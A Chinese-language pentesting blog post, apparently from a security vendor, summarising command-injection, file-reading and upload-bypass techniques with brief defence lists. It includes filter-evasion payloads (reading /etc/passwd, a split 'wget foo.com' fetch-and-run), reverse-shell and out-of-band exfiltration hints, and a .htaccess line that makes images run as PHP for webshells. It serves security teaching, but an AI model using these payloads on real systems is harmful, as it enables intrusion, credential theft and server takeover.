滲透測試對網站漏洞修復執行命令重點檢查
哈嘍大家好,近期我們Sine安全對客戶平臺進行滲透測試的時候,發現有一些命令執行的漏洞測試語句和函式,導致伺服器被提權被入侵,上一節提到XSS跨站指令碼攻擊檢測方法,本章來總和一下指令碼執行命令的詳細檢測手段,以及繞過waf的辦法,只有這樣詳細的對平臺進行安全測試才能保障整個平臺安全穩定。
3.5.1. 簡介
命令注入通常因為指Web應用在伺服器上拼接系統命令而造成的漏洞。
該類漏洞通常出現在呼叫外部程式完成一些功能的情景下。比如一些Web管理介面的配置主機名/IP/掩碼/閘道器、檢視系統資訊以及關閉重啟等功能,或者一些站點提供如ping、nslookup、提供傳送郵件、轉換圖片等功能都可能出現該類漏洞。
3.5.2. 常見危險函式
3.5.2.1. PHP
- system
- exec
- passthru
- shell_exec
- popen
- proc_open
3.5.2.2. Python
- system
- popen
- subprocess.call
- spawn
3.5.2.3. Java
- java.lang.Runtime.getRuntime().exec(command)
3.5.3. 常見注入方式
分號分割
- || && & 分割
- | 管道符
- \r\n %d0%a0 換行
- 反引號解析
- $() 替換
3.5.4. 無回顯技巧
- bash反彈shell
- DNS帶外資料
- http帶外
- curl (whoami)
- wget (whoami)
- 無帶外時利用 sleep 或其他邏輯構造布林條件
3.5.5. 常見繞過方式
3.5.5.1. 空格繞過
- < 符號 cat<123
- \t / %09
- ${IFS} 其中{}用來截斷,比如cat$IFS2會被認為IFS2是變數名。另外,在後面加個$可以起到截斷的作用,一般用$9,因為$9是當前系統shell程式的第九個引數的持有者,它始終為空字串
3.5.5.2. 黑名單繞過
- a=l;b=s;$a$b
- echo "bHM=" | -d
- /?in/?s => /bin/ls
- 連線符 cat /etc/pass'w'd
- 未定義的初始化變數 cat$x /etc/passwd
3.5.5.3. 長度限制繞過
>wget\
>foo.\
>com
ls -t>a
sh a
上面的方法為透過命令列重定向寫入命令,接著透過ls按時間排序把命令寫入檔案,最後執行 直接在Linux終端下執行的話,建立檔案需要在重定向符號之前新增命令 這裡可以使用一些諸如w,[之類的短命令,(使用ls /usr/bin/?檢視) 如果不新增命令,需要Ctrl+D才能結束,這樣就等於標準輸入流的重定向 而在php中 , 使用 shell_exec 等執行系統命令的函式的時候 , 是不存在標準輸入流的,所以可以直接建立檔案
3.5.6. 常用符號
3.5.6.1. 命令分隔符
- %0a / %0d / \n / \r
- ;
- & / &&
3.5.6.2. 萬用字元
- * 0到無窮個任意字元
- ? 一個任意字元
- [ ] 一個在括號內的字元,e.g. [abcd]
- [ - ] 在編碼順序內的所有字元
- [^ ] 一個不在括號內的字元
3.5.7. 防禦
- 不使用時禁用相應函式
- 儘量不要執行外部的應用程式或命令
- 做輸入的格式檢查
- 轉義命令中的所有shell元字元
- shell元字元包括 #&;`,|*?~<>^()[]{}$\
3.6. 檔案讀取
3.6. 檔案讀取
考慮讀取可能有敏感資訊的檔案
- 使用者目錄下的敏感檔案
- .bash_history
- .zsh_history
- .profile
- .bashrc
- .gitconfig
- .viminfo
- passwd
- 應用的配置檔案
- /etc/apache2/apache2.conf
- /etc/nginx/nginx.conf
- 應用的日誌檔案
- /var/log/apache2/access.log
- /var/log/nginx/access.log
- 站點目錄下的敏感檔案
- .svn/entries
- .git/HEAD
- WEB-INF/web.xml
- .htaccess
- 特殊的備份檔案
- .swp
- .swo
- .bak
- index.php~
- …
- Python的Cache
- __pycache__\__init__.cpython-35.pyc
3.7. 檔案上傳
3.7.1. 檔案型別檢測繞過
3.7.1.1. 更改請求繞過
有的站點僅僅在前端檢測了檔案型別,這種型別的檢測可以直接修改網路請求繞過。同樣的,有的站點在後端僅檢查了HTTP Header中的資訊,比如 Content-Type 等,這種檢查同樣可以透過修改網路請求繞過。
3.7.1.2. Magic檢測繞過
有的站點使用檔案頭來檢測檔案型別,這種檢查可以在Shell前加入對應的位元組以繞過檢查。幾種常見的檔案型別的頭位元組如下表所示
3.7.1.3. 字尾繞過
部分服務僅根據字尾、上傳時的資訊或Magic Header來判斷檔案型別,此時可以繞過。
php由於歷史原因,部分直譯器可能支援符合正則 /ph(p[2-7]?|t(ml)?)/ 的字尾,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上傳php檔案時測試該型別。
jsp引擎則可能會解析 jspx / jspf / jspa / jsw / jsv / jtml 等字尾,asp支援 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等字尾。
除了這些繞過,其他的字尾同樣可能帶來問題,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。
3.7.1.4. 系統命名繞過
在Windows系統中,上傳 index.php. 會重新命名為 . ,可以繞過字尾檢查。也可嘗試
index.php%20, index.php:1.jpg index.php::$DATA 等。在Linux系統中,可以嘗試上傳名為 index.php/. 或 ./aa/../index.php/. 的檔案
3.7.1.5. .user.ini
在php執行的過程中,除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 檔案,從被執行的 PHP 檔案所在目錄開始一直上升到 web 根目錄($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被執行的 PHP 檔案在 web 根目錄之外,則只掃描該目錄。.user.ini 中可以定義除了PHP_INI_SYSTEM以外的模式的選項,故可以使用 .user.ini 加上非php字尾的檔案構造一個shell,比如 auto_prepend_file=01.gif 。
3.7.1.6. WAF繞過
有的waf在編寫過程中考慮到效能原因,只處理一部分資料,這時可以透過加入大量垃圾資料來繞過其處理函式。
另外,Waf和Web系統對 boundary 的處理不一致,可以使用錯誤的 boundary 來完成繞過。
3.7.1.7. 競爭上傳繞過
有的伺服器採用了先儲存,再刪除不合法檔案的方式,在這種伺服器中,可以反覆上傳一個會生成Web Shell的檔案並嘗試訪問,多次之後即可獲得Shell。
3.7.2. 攻擊技巧
3.7.2.1. Apache重寫GetShell
Apache可根據是否允許重定向考慮上傳.htaccess
內容為
AddType application/x-httpd-php .png php_flag engine 1
就可以用png或者其他字尾的檔案做php指令碼了
3.7.2.2. 軟連結任意讀檔案
上傳的壓縮包檔案會被解壓的檔案時,可以考慮上傳含符號連結的檔案 若伺服器沒有做好防護,可實現任意檔案讀取的效果,如果覺得防護做的不到位 不放心的話,可以找專業的網站安全公司來處理解決,畢竟術業有專攻,國內做的比較好的公司如:Sinesafe,綠盟,啟明星辰等等。
3.7.3. 防護技巧
- 使用白名單限制上傳檔案的型別
- 使用更嚴格的檔案型別檢查方式
- 限制Web Server對上傳資料夾的解析
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2659357/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 網站滲透測試安全檢測漏洞網站
- 滲透測試對檔案包含漏洞網站檢測網站
- 網站漏洞檢測 滲透測試檢測手法網站
- 滲透測試公司 對於越權漏洞的檢測與修復
- 網站漏洞檢測對漏洞檢測修復方案網站
- 網站漏洞滲透測試覆盤檢查結果分析網站
- 網站漏洞測試 檔案上傳漏洞的安全滲透與修復網站
- 用APP滲透測試來查詢網站被駭客攻擊的根源以及漏洞修復APP網站
- 滲透測試網站安全漏洞檢測大體方法網站
- 如何對網站登入進行漏洞測試以及漏洞修復網站
- 網站滲透測試服務之簡訊轟炸漏洞挖掘與修復網站
- 網站安全測試之APP滲透測試漏洞網站APP
- 如何學習網站漏洞滲透測試學習網站
- 網站滲透測試安全檢測方案網站
- 網站查詢漏洞滲透測試大體流程介紹網站
- 滲透測試公司 對PHP網站安全後門檢測PHP網站
- 網站漏洞滲透測試行業該如何去學習網站行業
- 網站滲透測試漏洞分析程式碼架構網站架構
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- beescms網站滲透測試網站
- 網站安全維護對公司網站滲透測試剖析網站
- 網站安全公司 滲透測試中的漏洞資訊蒐集網站
- 滲透測試 網站安全測試行業問題分析網站行業
- 邏輯注入漏洞滲透測試檢測辦法
- 網站安全滲透測試檢測認證登入分析網站
- 滲透測試網站安全基礎點講解網站
- 網站被攻擊滲透測試出漏洞怎麼辦網站
- 如何進行滲透測試XSS跨站攻擊檢測
- 網站漏洞測試php程式碼修復詳情網站PHP
- 網站漏洞滲透測試服務內容詳情見解網站
- 網站安全滲透測試服務之discuz漏洞挖掘與利用網站
- 從滲透測試到漏洞掃描 看我們如何對網站做安全防護網站
- APP安全測試 該如何滲透檢測APP存在的漏洞APP
- 網站漏洞檢測 wordpress sql注入漏洞程式碼審計與修復網站SQL
- 看雪網站滲透測試服務網站
- 網站安全公司 滲透測試基礎知識點大全網站
- 對泛微OA系統的網站安全檢測以及漏洞修復辦法網站
- PrestaShop網站漏洞修復如何修復REST網站